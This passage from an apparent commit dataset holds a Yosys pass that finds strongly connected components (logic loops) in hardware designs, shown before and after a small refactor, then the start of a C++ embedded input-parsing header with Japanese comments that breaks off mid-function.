{\n\t\t\t\tsel.selected_members[module->name].insert(cell->name);\n\t\t\t\tprevsig.append(cellToPrevSig[cell]);\n\t\t\t\tnextsig.append(cellToNextSig[cell]);\n\t\t\t}\n\n\t\t\tprevsig.sort_and_unify();\n\t\t\tnextsig.sort_and_unify();\n\t\t\tsig = prevsig.extract(nextsig);\n\n\t\t\tfor (auto &chunk : sig.chunks())\n\t\t\t\tif (chunk.wire != NULL)\n\t\t\t\t\tsel.selected_members[module->name].insert(chunk.wire->name);\n\t\t}\n\t}\n};\n\nstruct SccPass : public Pass {\n\tSccPass() : Pass(\"scc\", \"detect strongly connected components (logic loops)\") { }\n\tvoid help() YS_OVERRIDE\n\t{\n\t\t\/\/   |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\"    scc [options] [selection]\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"This command identifies strongly connected components (aka logic loops) in the\\n\");\n\t\tlog(\"design.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"    -expect <num>\\n\");\n\t\tlog(\"        expect to find exactly <num> SSCs. A different number of SSCs will\\n\");\n\t\tlog(\"        produce an error.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"    -max_depth <num>\\n\");\n\t\tlog(\"        limit to loops not longer than the specified number of cells. This\\n\");\n\t\tlog(\"        can e.g. be useful in identifying small local loops in a module that\\n\");\n\t\tlog(\"        implements one large SCC.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"    -nofeedback\\n\");\n\t\tlog(\"        do not count cells that have their output fed back into one of their\\n\");\n\t\tlog(\"        inputs as single-cell scc.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"    -all_cell_types\\n\");\n\t\tlog(\"        Usually this command only considers internal non-memory cells. With\\n\");\n\t\tlog(\"        this option set, all cells are considered. For unknown cells all ports\\n\");\n\t\tlog(\"        are assumed to be bidirectional 'inout' ports.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"    -set_attr <name> <value>\\n\");\n\t\tlog(\"        set the specified attribute on all cells that are part of a logic\\n\");\n\t\tlog(\"        loop. the special token {} in the value is replaced with a unique\\n\");\n\t\tlog(\"        identifier for the logic loop.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"    -select\\n\");\n\t\tlog(\"        replace the current selection with a selection of all cells and wires\\n\");\n\t\tlog(\"        that are part of a found logic loop\\n\");\n\t\tlog(\"\\n\");\n\t}\n\tvoid execute(std::vector<std::string> args, RTLIL::Design *design) YS_OVERRIDE\n\t{\n\t\tstd::map<std::string, std::string> setAttr;\n\t\tbool allCellTypes = false;\n\t\tbool selectMode = false;\n\t\tbool nofeedbackMode = false;\n\t\tint maxDepth = -1;\n\t\tint expect = -1;\n\n\t\tlog_header(design, \"Executing SCC pass (detecting logic loops).\\n\");\n\n\t\tsize_t argidx;\n\t\tfor (argidx = 1; argidx < args.size(); argidx++) {\n\t\t\tif (args[argidx] == \"-max_depth\" && argidx+1 < args.size()) {\n\t\t\t\tmaxDepth = atoi(args[++argidx].c_str());\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-expect\" && argidx+1 < args.size()) {\n\t\t\t\texpect = atoi(args[++argidx].c_str());\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-nofeedback\") {\n\t\t\t\tnofeedbackMode = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-all_cell_types\") {\n\t\t\t\tallCellTypes = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-set_attr\" && argidx+2 < args.size()) {\n\t\t\t\tsetAttr[args[argidx+1]] = args[argidx+2];\n\t\t\t\targidx += 2;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-select\") {\n\t\t\t\tselectMode = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\tint origSelectPos = design->selection_stack.size() - 1;\n\t\textra_args(args, argidx, design);\n\n\t\tRTLIL::Selection newSelection(false);\n\t\tint scc_counter = 0;\n\n\t\tfor (auto &mod_it : design->modules_)\n\t\t\tif (design->selected(mod_it.second))\n\t\t\t{\n\t\t\t\tSccWorker worker(design, mod_it.second, nofeedbackMode, allCellTypes, maxDepth);\n\n\t\t\t\tif (!setAttr.empty())\n\t\t\t\t{\n\t\t\t\t\tfor (const auto &cells : worker.sccList)\n\t\t\t\t\t{\n\t\t\t\t\t\tfor (auto attr : setAttr)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tIdString attr_name(RTLIL::escape_id(attr.first));\n\t\t\t\t\t\t\tstring attr_valstr = attr.second;\n\t\t\t\t\t\t\tstring index = stringf(\"%d\", scc_counter);\n\n\t\t\t\t\t\t\tfor (size_t pos = 0; (pos = attr_valstr.find(\"{}\", pos)) != string::npos; pos += index.size())\n\t\t\t\t\t\t\t\tattr_valstr.replace(pos, 2, index);\n\n\t\t\t\t\t\t\tConst attr_value(attr_valstr);\n\n\t\t\t\t\t\t\tfor (auto cell : cells)\n\t\t\t\t\t\t\t\tcell->attributes[attr_name] = attr_value;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tscc_counter++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tscc_counter += GetSize(worker.sccList);\n\t\t\t\t}\n\n\t\t\t\tif (selectMode)\n\t\t\t\t\tworker.select(newSelection);\n\t\t\t}\n\n\t\tif (expect >= 0) {\n\t\t\tif (scc_counter == expect)\n\t\t\t\tlog(\"Found and expected %d SCCs.\\n\", scc_counter);\n\t\t\telse\n\t\t\t\tlog_error(\"Found %d SCCs but expected %d.\\n\", scc_counter, expect);\n\t\t} else\n\t\t\tlog(\"Found %d SCCs.\\n\", scc_counter);\n\n\t\tif (selectMode) {\n\t\t\tlog_assert(origSelectPos >= 0);\n\t\t\tdesign->selection_stack[origSelectPos] = newSelection;\n\t\t\tdesign->selection_stack[origSelectPos].optimize(design);\n\t\t}\n\t}\n} SccPass;\n\nPRIVATE_NAMESPACE_END\n<commit_msg>scc to use design->selected_modules() which avoids black\/white-boxes<commit_after>\/*\n *  yosys -- Yosys Open SYnthesis Suite\n *\n *  Copyright (C) 2012  Clifford Wolf <clifford@clifford.at>\n *\n *  Permission to use, copy, modify, and\/or distribute this software for any\n *  purpose with or without fee is hereby granted, provided that the above\n *  copyright notice and this permission notice appear in all copies.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n *  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n *  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n *  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n *  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n *  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n *  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *\/\n\n\/\/ [[CITE]] Tarjan's strongly connected components algorithm\n\/\/ Tarjan, R. E. (1972), \"Depth-first search and linear graph algorithms\", SIAM Journal on Computing 1 (2): 146-160, doi:10.1137\/0201010\n\/\/ http:\/\/en.wikipedia.org\/wiki\/Tarjan's_strongly_connected_components_algorithm\n\n#include \"kernel\/register.h\"\n#include \"kernel\/celltypes.h\"\n#include \"kernel\/sigtools.h\"\n#include \"kernel\/log.h\"\n#include <stdlib.h>\n#include <stdio.h>\n#include <set>\n\nUSING_YOSYS_NAMESPACE\nPRIVATE_NAMESPACE_BEGIN\n\nstruct SccWorker\n{\n\tRTLIL::Design *design;\n\tRTLIL::Module *module;\n\tSigMap sigmap;\n\tCellTypes ct;\n\n\tstd::set<RTLIL::Cell*> workQueue;\n\tstd::map<RTLIL::Cell*, std::set<RTLIL::Cell*>> cellToNextCell;\n\tstd::map<RTLIL::Cell*, RTLIL::SigSpec> cellToPrevSig, cellToNextSig;\n\n\tstd::map<RTLIL::Cell*, std::pair<int, int>> cellLabels;\n\tstd::map<RTLIL::Cell*, int> cellDepth;\n\tstd::set<RTLIL::Cell*> cellsOnStack;\n\tstd::vector<RTLIL::Cell*> cellStack;\n\tint labelCounter;\n\n\tstd::map<RTLIL::Cell*, int> cell2scc;\n\tstd::vector<std::set<RTLIL::Cell*>> sccList;\n\n\tvoid run(RTLIL::Cell *cell, int depth, int maxDepth)\n\t{\n\t\tlog_assert(workQueue.count(cell) > 0);\n\n\t\tworkQueue.erase(cell);\n\t\tcellLabels[cell] = std::pair<int, int>(labelCounter, labelCounter);\n\t\tlabelCounter++;\n\n\t\tcellsOnStack.insert(cell);\n\t\tcellStack.push_back(cell);\n\n\t\tif (maxDepth >= 0)\n\t\t\tcellDepth[cell] = depth;\n\n\t\tfor (auto nextCell : cellToNextCell[cell])\n\t\t\tif (cellLabels.count(nextCell) == 0) {\n\t\t\t\trun(nextCell, depth+1, maxDepth);\n\t\t\t\tcellLabels[cell].second = min(cellLabels[cell].second, cellLabels[nextCell].second);\n\t\t\t} else\n\t\t\tif (cellsOnStack.count(nextCell) > 0 && (maxDepth < 0 || cellDepth[nextCell] + maxDepth > depth)) {\n\t\t\t\t\tcellLabels[cell].second = min(cellLabels[cell].second, cellLabels[nextCell].second);\n\t\t\t}\n\n\t\tif (cellLabels[cell].first == cellLabels[cell].second)\n\t\t{\n\t\t\tif (cellStack.back() == cell)\n\t\t\t{\n\t\t\t\tcellStack.pop_back();\n\t\t\t\tcellsOnStack.erase(cell);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tlog(\"Found an SCC:\");\n\t\t\t\tstd::set<RTLIL::Cell*> scc;\n\t\t\t\twhile (cellsOnStack.count(cell) > 0) {\n\t\t\t\t\tRTLIL::Cell *c = cellStack.back();\n\t\t\t\t\tcellStack.pop_back();\n\t\t\t\t\tcellsOnStack.erase(c);\n\t\t\t\t\tlog(\" %s\", RTLIL::id2cstr(c->name));\n\t\t\t\t\tcell2scc[c] = sccList.size();\n\t\t\t\t\tscc.insert(c);\n\t\t\t\t}\n\t\t\t\tsccList.push_back(scc);\n\t\t\t\tlog(\"\\n\");\n\t\t\t}\n\t\t}\n\t}\n\n\tSccWorker(RTLIL::Design *design, RTLIL::Module *module, bool nofeedbackMode, bool allCellTypes, int maxDepth) :\n\t\t\tdesign(design), module(module), sigmap(module)\n\t{\n\t\tif (module->processes.size() > 0) {\n\t\t\tlog(\"Skipping module %s as it contains processes (run 'proc' pass first).\\n\", module->name.c_str());\n\t\t\treturn;\n\t\t}\n\n\t\tif (allCellTypes) {\n\t\t\tct.setup(design);\n\t\t} else {\n\t\t\tct.setup_internals();\n\t\t\tct.setup_stdcells();\n\t\t}\n\n\t\tSigPool selectedSignals;\n\t\tSigSet<RTLIL::Cell*> sigToNextCells;\n\n\t\tfor (auto &it : module->wires_)\n\t\t\tif (design->selected(module, it.second))\n\t\t\t\tselectedSignals.add(sigmap(RTLIL::SigSpec(it.second)));\n\n\t\tfor (auto &it : module->cells_)\n\t\t{\n\t\t\tRTLIL::Cell *cell = it.second;\n\n\t\t\tif (!design->selected(module, cell))\n\t\t\t\tcontinue;\n\n\t\t\tif (!allCellTypes && !ct.cell_known(cell->type))\n\t\t\t\tcontinue;\n\n\t\t\tworkQueue.insert(cell);\n\n\t\t\tRTLIL::SigSpec inputSignals, outputSignals;\n\n\t\t\tfor (auto &conn : cell->connections())\n\t\t\t{\n\t\t\t\tbool isInput = true, isOutput = true;\n\n\t\t\t\tif (ct.cell_known(cell->type)) {\n\t\t\t\t\tisInput = ct.cell_input(cell->type, conn.first);\n\t\t\t\t\tisOutput = ct.cell_output(cell->type, conn.first);\n\t\t\t\t}\n\n\t\t\t\tRTLIL::SigSpec sig = selectedSignals.extract(sigmap(conn.second));\n\t\t\t\tsig.sort_and_unify();\n\n\t\t\t\tif (isInput)\n\t\t\t\t\tinputSignals.append(sig);\n\t\t\t\tif (isOutput)\n\t\t\t\t\toutputSignals.append(sig);\n\t\t\t}\n\n\t\t\tinputSignals.sort_and_unify();\n\t\t\toutputSignals.sort_and_unify();\n\n\t\t\tcellToPrevSig[cell] = inputSignals;\n\t\t\tcellToNextSig[cell] = outputSignals;\n\t\t\tsigToNextCells.insert(inputSignals, cell);\n\t\t}\n\n\t\tfor (auto cell : workQueue)\n\t\t{\n\t\t\tcellToNextCell[cell] = sigToNextCells.find(cellToNextSig[cell]);\n\n\t\t\tif (!nofeedbackMode && cellToNextCell[cell].count(cell)) {\n\t\t\t\tlog(\"Found an SCC:\");\n\t\t\t\tstd::set<RTLIL::Cell*> scc;\n\t\t\t\tlog(\" %s\", RTLIL::id2cstr(cell->name));\n\t\t\t\tcell2scc[cell] = sccList.size();\n\t\t\t\tscc.insert(cell);\n\t\t\t\tsccList.push_back(scc);\n\t\t\t\tlog(\"\\n\");\n\t\t\t}\n\t\t}\n\n\t\tlabelCounter = 0;\n\t\tcellLabels.clear();\n\n\t\twhile (!workQueue.empty())\n\t\t{\n\t\t\tRTLIL::Cell *cell = *workQueue.begin();\n\t\t\tlog_assert(cellStack.size() == 0);\n\t\t\tcellDepth.clear();\n\n\t\t\trun(cell, 0, maxDepth);\n\t\t}\n\n\t\tlog(\"Found %d SCCs in module %s.\\n\", int(sccList.size()), RTLIL::id2cstr(module->name));\n\t}\n\n\tvoid select(RTLIL::Selection &sel)\n\t{\n\t\tfor (int i = 0; i < int(sccList.size()); i++)\n\t\t{\n\t\t\tstd::set<RTLIL::Cell*> &cells = sccList[i];\n\t\t\tRTLIL::SigSpec prevsig, nextsig, sig;\n\n\t\t\tfor (auto cell : cells) {\n\t\t\t\tsel.selected_members[module->name].insert(cell->name);\n\t\t\t\tprevsig.append(cellToPrevSig[cell]);\n\t\t\t\tnextsig.append(cellToNextSig[cell]);\n\t\t\t}\n\n\t\t\tprevsig.sort_and_unify();\n\t\t\tnextsig.sort_and_unify();\n\t\t\tsig = prevsig.extract(nextsig);\n\n\t\t\tfor (auto &chunk : sig.chunks())\n\t\t\t\tif (chunk.wire != NULL)\n\t\t\t\t\tsel.selected_members[module->name].insert(chunk.wire->name);\n\t\t}\n\t}\n};\n\nstruct SccPass : public Pass {\n\tSccPass() : Pass(\"scc\", \"detect strongly connected components (logic loops)\") { }\n\tvoid help() YS_OVERRIDE\n\t{\n\t\t\/\/   |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\"    scc [options] [selection]\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"This command identifies strongly connected components (aka logic loops) in the\\n\");\n\t\tlog(\"design.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"    -expect <num>\\n\");\n\t\tlog(\"        expect to find exactly <num> SSCs. A different number of SSCs will\\n\");\n\t\tlog(\"        produce an error.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"    -max_depth <num>\\n\");\n\t\tlog(\"        limit to loops not longer than the specified number of cells. This\\n\");\n\t\tlog(\"        can e.g. be useful in identifying small local loops in a module that\\n\");\n\t\tlog(\"        implements one large SCC.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"    -nofeedback\\n\");\n\t\tlog(\"        do not count cells that have their output fed back into one of their\\n\");\n\t\tlog(\"        inputs as single-cell scc.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"    -all_cell_types\\n\");\n\t\tlog(\"        Usually this command only considers internal non-memory cells. With\\n\");\n\t\tlog(\"        this option set, all cells are considered. For unknown cells all ports\\n\");\n\t\tlog(\"        are assumed to be bidirectional 'inout' ports.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"    -set_attr <name> <value>\\n\");\n\t\tlog(\"        set the specified attribute on all cells that are part of a logic\\n\");\n\t\tlog(\"        loop. the special token {} in the value is replaced with a unique\\n\");\n\t\tlog(\"        identifier for the logic loop.\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"    -select\\n\");\n\t\tlog(\"        replace the current selection with a selection of all cells and wires\\n\");\n\t\tlog(\"        that are part of a found logic loop\\n\");\n\t\tlog(\"\\n\");\n\t}\n\tvoid execute(std::vector<std::string> args, RTLIL::Design *design) YS_OVERRIDE\n\t{\n\t\tstd::map<std::string, std::string> setAttr;\n\t\tbool allCellTypes = false;\n\t\tbool selectMode = false;\n\t\tbool nofeedbackMode = false;\n\t\tint maxDepth = -1;\n\t\tint expect = -1;\n\n\t\tlog_header(design, \"Executing SCC pass (detecting logic loops).\\n\");\n\n\t\tsize_t argidx;\n\t\tfor (argidx = 1; argidx < args.size(); argidx++) {\n\t\t\tif (args[argidx] == \"-max_depth\" && argidx+1 < args.size()) {\n\t\t\t\tmaxDepth = atoi(args[++argidx].c_str());\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-expect\" && argidx+1 < args.size()) {\n\t\t\t\texpect = atoi(args[++argidx].c_str());\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-nofeedback\") {\n\t\t\t\tnofeedbackMode = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-all_cell_types\") {\n\t\t\t\tallCellTypes = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-set_attr\" && argidx+2 < args.size()) {\n\t\t\t\tsetAttr[args[argidx+1]] = args[argidx+2];\n\t\t\t\targidx += 2;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (args[argidx] == \"-select\") {\n\t\t\t\tselectMode = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\tint origSelectPos = design->selection_stack.size() - 1;\n\t\textra_args(args, argidx, design);\n\n\t\tRTLIL::Selection newSelection(false);\n\t\tint scc_counter = 0;\n\n\t\tfor (auto mod : design->selected_modules())\n\t\t{\n\t\t\tSccWorker worker(design, mod, nofeedbackMode, allCellTypes, maxDepth);\n\n\t\t\tif (!setAttr.empty())\n\t\t\t{\n\t\t\t\tfor (const auto &cells : worker.sccList)\n\t\t\t\t{\n\t\t\t\t\tfor (auto attr : setAttr)\n\t\t\t\t\t{\n\t\t\t\t\t\tIdString attr_name(RTLIL::escape_id(attr.first));\n\t\t\t\t\t\tstring attr_valstr = attr.second;\n\t\t\t\t\t\tstring index = stringf(\"%d\", scc_counter);\n\n\t\t\t\t\t\tfor (size_t pos = 0; (pos = attr_valstr.find(\"{}\", pos)) != string::npos; pos += index.size())\n\t\t\t\t\t\t\tattr_valstr.replace(pos, 2, index);\n\n\t\t\t\t\t\tConst attr_value(attr_valstr);\n\n\t\t\t\t\t\tfor (auto cell : cells)\n\t\t\t\t\t\t\tcell->attributes[attr_name] = attr_value;\n\t\t\t\t\t}\n\n\t\t\t\t\tscc_counter++;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tscc_counter += GetSize(worker.sccList);\n\t\t\t}\n\n\t\t\tif (selectMode)\n\t\t\t\tworker.select(newSelection);\n\t\t}\n\n\t\tif (expect >= 0) {\n\t\t\tif (scc_counter == expect)\n\t\t\t\tlog(\"Found and expected %d SCCs.\\n\", scc_counter);\n\t\t\telse\n\t\t\t\tlog_error(\"Found %d SCCs but expected %d.\\n\", scc_counter, expect);\n\t\t} else\n\t\t\tlog(\"Found %d SCCs.\\n\", scc_counter);\n\n\t\tif (selectMode) {\n\t\t\tlog_assert(origSelectPos >= 0);\n\t\t\tdesign->selection_stack[origSelectPos] = newSelection;\n\t\t\tdesign->selection_stack[origSelectPos].optimize(design);\n\t\t}\n\t}\n} SccPass;\n\nPRIVATE_NAMESPACE_END\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Can use qualifications in yield statements.<commit_after><|endoftext|>"}
{"text":"<commit_before>#pragma once\r\n\/\/=====================================================================\/\/\r\n\/*! @file\r\n    @brief  input クラス @n\r\n\t\t\t数値、文字列などの入力クラス\r\n\t\t\tCopyright 2017 Kunihito Hiramatsu\r\n    @author 平松邦仁 (hira@rvf-rc45.net)\r\n*\/\r\n\/\/=====================================================================\/\/\r\n#include <cstdint>\r\n\r\nextern \"C\" {\r\n\r\n\tchar sci_getch(void);\r\n\r\n};\r\n\r\nnamespace utils {\r\n\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\t\/*!\r\n\t\t@brief  標準入力ファンクタ\r\n\t*\/\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\tclass def_chainp {\r\n\t\tconst char* str_;\r\n\t\tchar\t\tlast_;\r\n\t\tbool\t\tunget_;\r\n\tpublic:\r\n\t\tdef_chainp(const char* str = nullptr) : str_(str), last_(0), unget_(false) { }\r\n\r\n\t\tvoid unget() {\r\n\t\t\tunget_ = true;\r\n\t\t}\r\n\r\n\t\tchar operator() () {\r\n\t\t\tif(unget_) {\r\n\t\t\t\tunget_ = false;\r\n\t\t\t} else {\r\n\t\t\t\tif(str_ == nullptr) {\r\n\t\t\t\t\tlast_ = sci_getch();\r\n\t\t\t\t} else {\r\n\t\t\t\t\tlast_ = *str_;\r\n\t\t\t\t\tif(last_ != 0) { ++str_; }\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\treturn last_;\r\n\t\t}\r\n\t};\r\n\r\n\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\t\/*!\r\n\t\t@brief  汎用入力クラス\r\n\t\t@param[in]\tINP\t入力クラス\r\n\t*\/\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\ttemplate <class INP>\r\n\tclass basic_input {\r\n\r\n\t\tconst char*\tform_;\r\n\r\n\t\tINP\t\t\tinp_;\r\n\r\n\t\tuint32_t bin_() {\r\n\t\t\tuint32_t a = 0;\r\n\t\t\tchar ch;\r\n\t\t\twhile((ch = inp_()) != 0 && ch >= '0' && ch <= '1') {\r\n\t\t\t\ta <<= 1;\r\n\t\t\t\ta += ch - '0';\r\n\t\t\t}\r\n\t\t\treturn a;\r\n\t\t}\r\n\r\n\t\tuint32_t oct_() {\r\n\t\t\tuint32_t a = 0;\r\n\t\t\tchar ch;\r\n\t\t\twhile((ch = inp_()) != 0 && ch >= '0' && ch <= '7') {\r\n\t\t\t\ta <<= 3;\r\n\t\t\t\ta += ch - '0';\r\n\t\t\t}\r\n\t\t\treturn a;\r\n\t\t}\r\n\r\n\t\tuint32_t dec_() {\r\n\t\t\tuint32_t a = 0;\r\n\t\t\tchar ch;\r\n\t\t\twhile((ch = inp_()) != 0 && ch >= '0' && ch <= '9') {\r\n\t\t\t\ta *= 10;\r\n\t\t\t\ta += ch - '0';\r\n\t\t\t}\r\n\t\t\treturn a;\r\n\t\t}\r\n\r\n\t\tuint32_t hex_() {\r\n\t\t\tuint32_t a = 0;\r\n\t\t\tchar ch;\r\n\t\t\twhile((ch = inp_()) != 0) {\r\n\t\t\t\tif(ch >= '0' && ch <= '9') {\r\n\t\t\t\t\ta <<= 4;\r\n\t\t\t\t\ta += ch - '0';\r\n\t\t\t\t} else if(ch >= 'A' && ch <= 'F') {\r\n\t\t\t\t\ta <<= 4;\r\n\t\t\t\t\ta += ch - 'A' + 10;\r\n\t\t\t\t} else if(ch >= 'a' && ch <= 'f') {\r\n\t\t\t\t\ta <<= 4;\r\n\t\t\t\t\ta += ch - 'a' + 10;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\treturn a;\r\n\t\t}\r\n\r\n\t\tenum class mode : uint8_t {\r\n\t\t\tNONE,\r\n\t\t\tBIN,\r\n\t\t\tOCT,\r\n\t\t\tDEC,\r\n\t\t\tHEX,\r\n\t\t};\r\n\t\tmode\tmode_;\r\n\t\tbool\terr_;\r\n\r\n\t\tstatic uint16_t\tcnvcnt_;\r\n\r\n\t\tenum class fmm : uint8_t {\r\n\t\t\tnone,\r\n\t\t\ttype,\r\n\r\n\t\t};\r\n\r\n\t\tvoid next_()\r\n\t\t{\r\n\t\t\tfmm cm = fmm::none;\r\n\t\t\tchar ch;\r\n\t\t\twhile((ch = *form_++) != 0) {\r\n\t\t\t\tswitch(cm) {\r\n\t\t\t\tcase fmm::none:\r\n\t\t\t\t\tif(ch == '[') {\r\n\t\t\t\t\t\tauto a = inp_();\r\n\t\t\t\t\t\tconst char* p = form_;\r\n\t\t\t\t\t\tbool ok = false;\r\n\t\t\t\t\t\twhile((ch = *p++) != 0 && ch != ']') {\r\n\t\t\t\t\t\t\tif(ch == a) ok = true;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tform_ = p;\r\n\t\t\t\t\t\tif(!ok) {\r\n\t\t\t\t\t\t\terr_ = true;\r\n\t\t\t\t\t\t\treturn;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t} else if(ch == '%' && *form_ != '%') {\r\n\t\t\t\t\t\tcm = fmm::type;\r\n\t\t\t\t\t} else if(ch != inp_()) {\r\n\t\t\t\t\t\terr_ = true;\r\n\t\t\t\t\t\treturn;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase fmm::type:\r\n\t\t\t\t\tif(ch == 'b' || ch == 'B') {\r\n\t\t\t\t\t\tmode_ = mode::BIN;\r\n\t\t\t\t\t} else if(ch == 'o' || ch == 'O') {\r\n\t\t\t\t\t\tmode_ = mode::OCT;\r\n\t\t\t\t\t} else if(ch == 'd' || ch == 'D') {\r\n\t\t\t\t\t\tmode_ = mode::DEC;\r\n\t\t\t\t\t} else if(ch == 'x' || ch == 'X') {\r\n\t\t\t\t\t\tmode_ = mode::HEX;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\terr_ = true;\r\n\t\t\t\t\t}\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\tpublic:\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief  コンストラクター\r\n\t\t\t@param[in]\tform\t入力形式\r\n\t\t\t@param[in]\tinp\t\t変換文字列（nullptrの場合、sci_getch で取得）\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbasic_input(const char* form, const char* inp = nullptr) : form_(form), inp_(inp),\r\n\t\t\tmode_(mode::NONE), err_(false)\r\n\t\t{\r\n\t\t\tcnvcnt_ = 0;\r\n\t\t\tnext_();\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief  正常変換数を取得\r\n\t\t\t@return 正常変換数\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tstatic uint16_t get_conversion() { return cnvcnt_; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief  オペレーター「%」（int32_t）\r\n\t\t\t@param[in]\tval\t整数値\r\n\t\t\t@return\t自分の参照\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbasic_input& operator % (int32_t& val)\r\n\t\t{\r\n\t\t\tif(err_) return *this;\r\n\r\n\t\t\tbool neg = false;\r\n\t\t\t{\r\n\t\t\t\tauto s = inp_();\r\n\t\t\t\tif(s == '-') { neg = true; }\r\n\t\t\t\telse if(s == '+') { neg = false; }\r\n\t\t\t\telse inp_.unget();\r\n\t\t\t}\r\n\t\t\tuint32_t v = 0;\r\n\t\t\tswitch(mode_) {\r\n\t\t\tcase mode::BIN:\r\n\t\t\t\tv = bin_();\r\n\t\t\t\tbreak;\r\n\t\t\tcase mode::OCT:\r\n\t\t\t\tv = oct_();\r\n\t\t\t\tbreak;\r\n\t\t\tcase mode::DEC:\r\n\t\t\t\tv = dec_();\r\n\t\t\t\tbreak;\r\n\t\t\tcase mode::HEX:\r\n\t\t\t\tv = hex_();\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\terr_ = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif(neg) val = -static_cast<int32_t>(v);\r\n\t\t\telse val = static_cast<int32_t>(v);\r\n\t\t\tif(!err_) {\r\n\t\t\t\t++cnvcnt_;\r\n\t\t\t\tinp_.unget();\r\n\t\t\t\tnext_();\r\n\t\t\t}\r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief  オペレーター「%」（uint32_t）\r\n\t\t\t@param[in]\tval\t整数値\r\n\t\t\t@return\t自分の参照\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbasic_input& operator % (uint32_t& val)\r\n\t\t{\r\n\t\t\tif(err_) return *this;\r\n\r\n\t\t\tuint32_t v = 0;\r\n\t\t\tswitch(mode_) {\r\n\t\t\tcase mode::BIN:\r\n\t\t\t\tv = bin_();\r\n\t\t\t\tbreak;\r\n\t\t\tcase mode::OCT:\r\n\t\t\t\tv = oct_();\r\n\t\t\t\tbreak;\r\n\t\t\tcase mode::DEC:\r\n\t\t\t\tv = dec_();\r\n\t\t\t\tbreak;\r\n\t\t\tcase mode::HEX:\r\n\t\t\t\tv = 